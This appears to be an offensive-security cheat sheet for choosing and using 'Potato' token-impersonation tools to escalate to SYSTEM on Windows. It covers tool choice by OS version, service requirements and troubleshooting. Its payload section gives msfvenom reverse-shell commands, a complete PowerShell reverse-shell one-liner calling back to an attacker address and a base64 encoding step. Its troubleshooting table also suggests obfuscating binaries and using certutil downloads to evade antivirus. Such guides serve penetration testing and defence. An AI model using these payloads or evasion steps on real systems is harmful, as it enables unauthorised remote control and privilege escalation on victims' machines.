└── SeImpersonatePrivilege PRESENT
↓
systeminfo → OS Version?
│
├── Win7 / Server 2008 / 2012
│ → JuicyPotato (find CLSID for OS)
│ → RottenPotato (legacy fallback)
│
├── Win10 < 1809 / Server 2016
│ → JuicyPotato (DCOM not yet hardened)
│ → PrintSpoofer (sc query spooler → RUNNING?)
│ → EfsPotato / PetitPotato
│
├── Win10 ≥ 1809 / Server 2019
│ → GodPotato (first choice, no setup)
│ → PrintSpoofer (if Spooler running)
│ → EfsPotato / PetitPotato (Spooler disabled?)
│ → RoguePotato (if network to attacker available)
│
├── Server 2022 / Windows 11
│ → GodPotato (first choice)
│ → PrintSpoofer (if Spooler running)
│ → SigmaPotato (if GodPotato fails)
│ → PrintNotifyPotato (Spooler disabled but PrintNotify up)
│ → RasManPotato (EFS + Spooler both disabled)
│
├── Domain-joined + ADCS HTTP accessible
│ → ADCSCoercePotato
│
├── Already SYSTEM + other user sessions present
│ → RemotePotato0 (steal domain user NTLM hash)
│
├── Desktop Win10/Win11 (workstation target)
│ → AppxPotato (AppXSvc always present on desktops)
│
└── Unknown / Multiple methods blocked
→ MultiPotato (tries all coercion methods)
→ SweetPotato (DCOM + EFS + Spooler)
Coercion Method Categories
DCOM Activation (Legacy / Partially Patched)
RottenPotato, JuicyPotato, CandyPotato, BravePotato
Trigger COM object activation via CLSID or IRemUnknown2
→ SYSTEM authenticates to activate/negotiate the object
→ Token / NTLM captured → SYSTEM exec
Named Pipe / Service Coercion (Reliable Modern)
PrintSpoofer, PrintNotifyPotato, EfsPotato, PetitPotato, RasManPotato, DeadPotato, AppxPotato
Create fake named pipe
→ Trigger SYSTEM service to connect via legitimate API call
→ ImpersonateNamedPipeClient() → SYSTEM token
NTLM Reflection via RPC / OXID (Modern)
RoguePotato, GodPotato, SigmaPotato
Trigger SYSTEM NTLM auth via RPC/OXID interface
→ Reflect/relay auth to local privileged endpoint
→ SYSTEM token obtained
Cross-Session Token Theft (Lateral Movement)
RemotePotato0
Abuse DCOM in another user's session
→ Steal NTLMv2 hash of logged-in privileged user
→ Crack or relay for domain escalation
CVE-Based (No Privilege Required)
LocalPotato (CVE-2023-21746)
Standard user triggers NTLM reflection via Storage Broker COM
→ No SeImpersonate needed
→ SYSTEM exec from regular user account (unpatched systems only)
Payload Generation Reference
# x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe
# x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe
# Staged Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o meter.exe
PowerShell one-liner (no binary — use with -cmd/-c/-a flags):
$c=New-Object Net.Sockets.TCPClient('<IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length)}
Encode for -cmd flags:
# Encode the PowerShell one-liner to base64 (UTF-16LE for Windows)
echo -n '<PS_ONE_LINER>' | iconv -t UTF-16LE | base64 -w 0
# Use as: powershell -enc <BASE64_OUTPUT>
Full Requirements Summary
| Requirement | Needed For |
|---|---|
SeImpersonatePrivilege |
ALL Potatos except LocalPotato |
| None — standard user | LocalPotato (CVE-2023-21746, unpatched only) |
| DCOM enabled | JuicyPotato, RottenPotato, CandyPotato, BravePotato |
| Valid CLSID | JuicyPotato, CandyPotato (optional) |
| Print Spooler running | PrintSpoofer |
| Print Notify interface | PrintNotifyPotato |
| EFS/lsass accessible | EfsPotato, PetitPotato |
| NTLM + RPC available | GodPotato, RoguePotato, SigmaPotato |
| Network: target → attacker TCP 135 | RoguePotato, RemotePotato0 |
| AppXSvc running (desktop editions) | AppxPotato |
| RasMan running | RasManPotato |
| Task Scheduler running | DeadPotato |
| Domain + ADCS HTTP accessible | ADCSCoercePotato |
| Another user session present | RemotePotato0 |
| System unpatched (pre-Jan 2023) | LocalPotato |
Troubleshooting
| Symptom | Likely Cause | Fix |
|---|---|---|
Access is denied on execution |
AV/EDR blocking binary | Rename binary, obfuscate, use certutil download |
| JuicyPotato exits silently | Wrong CLSID for OS | Try other CLSIDs from the repo list |
PrintSpoofer: CreateNamedPipe failed |
Spooler not running | Try PrintNotifyPotato or GodPotato |
GodPotato: CoCreateInstance failed |
NTLM disabled or RPC blocked | Try PrintSpoofer / SigmaPotato |
| RoguePotato hangs | TCP 135 blocked by firewall | Use local-only method (GodPotato, EfsPotato) |
| EfsPotato / PetitPotato silent fail | EFS RPC path blocked via GPO | Try RasManPotato or DeadPotato |
| LocalPotato fails | Patched (KB5022282+) | Requires SeImpersonate — switch to service account context |
No SeImpersonatePrivilege at all |
Standard user / not a service account | Try LocalPotato if unpatched; otherwise different privesc path |
| All methods fail (hardened target) | Multiple services disabled | Try MultiPotato (enumerates all available paths) |
| RemotePotato0 no hash captured | No other sessions open | Verify via query session; wait or pivot differently |
| AppxPotato fails | Server edition (no Store/AppX) | AppXSvc disabled on Servers — try other method |
TL;DR
RottenPotato → Win7/2008 — DCOM + NTLM relay (historical)
JuicyPotato → Win7–Win10 ≤1803 — DCOM with CLSID
RoguePotato → Win10 1809+ with network — OXID coercion
PrintSpoofer → Win10/2016/2019 — Print Spooler, very reliable
SweetPotato → Auto-try: DCOM + EFS + Spooler wrapper
GodPotato → Win10 1809+ / 2019 / 2022 / Win11 — NTLM reflection, no setup
EfsPotato → Win10+ — EFS RPC coercion (Spooler alternative)
PetitPotato → Win10+ — EFS local coercion (PetitPotam adapted)
PrintNotifyPotato → Win10+ — when Spooler disabled
AppxPotato → Win10/Win11 desktop — AppX service coercion
ADCSCoercePotato → Domain + ADCS environment
RasManPotato → Win10+ — RasMan RPC fallback
RemotePotato0 → Post-SYSTEM — steal logged-in user NTLM hash
LocalPotato → No SeImpersonate — CVE-2023-21746 (unpatched only)
CandyPotato → DCOM + named pipe hybrid
BravePotato → IRemUnknown2 coercion
DeadPotato → Task Scheduler / deprecated COM
MultiPotato → Framework — tries all coercion methods
SigmaPotato → Server 2022 / Win11 specific
GenericPotato → SDK for building custom Potatos
Final Insight
Correct exploit = f(OS version, patch level, running services, privileges, domain context)
The Potato family is not a single technique — it is a category of Windows token impersonation attacks, each targeting a different SYSTEM-level service or interface for coercion. When one fails, another will often succeed. Always enumerate services and privilege state before selecting your tool.
References
| Tool | Repository |
|---|---|
| RottenPotato | https://github.com/foxglovesec/RottenPotato |
| JuicyPotato | https://github.com/ohpe/juicy-potato |
| JuicyPotato CLSIDs | https://github.com/ohpe/juicy-potato/tree/master/CLSID |
| RoguePotato | https://github.com/antonioCoco/RoguePotato |
| RemotePotato0 | https://github.com/antonioCoco/RemotePotato0 |
| PrintSpoofer | https://github.com/itm4n/PrintSpoofer |
| SweetPotato | https://github.com/CCob/SweetPotato |
| GodPotato | https://github.com/BeichenDream/GodPotato |
| EfsPotato | https://github.com/zcgonvh/EfsPotato |
| LocalPotato | https://github.com/decoder-it/LocalPotato |
| MultiPotato | https://github.com/S3cur3Th1sSh1t/MultiPotato |
| GenericPotato | https://github.com/micahvandeusen/GenericPotato |
| ADCSCoercePotato | https://github.com/decoder-it/adcscoercepotato |
| PetitPotam (original) | https://github.com/topotam/PetitPotam |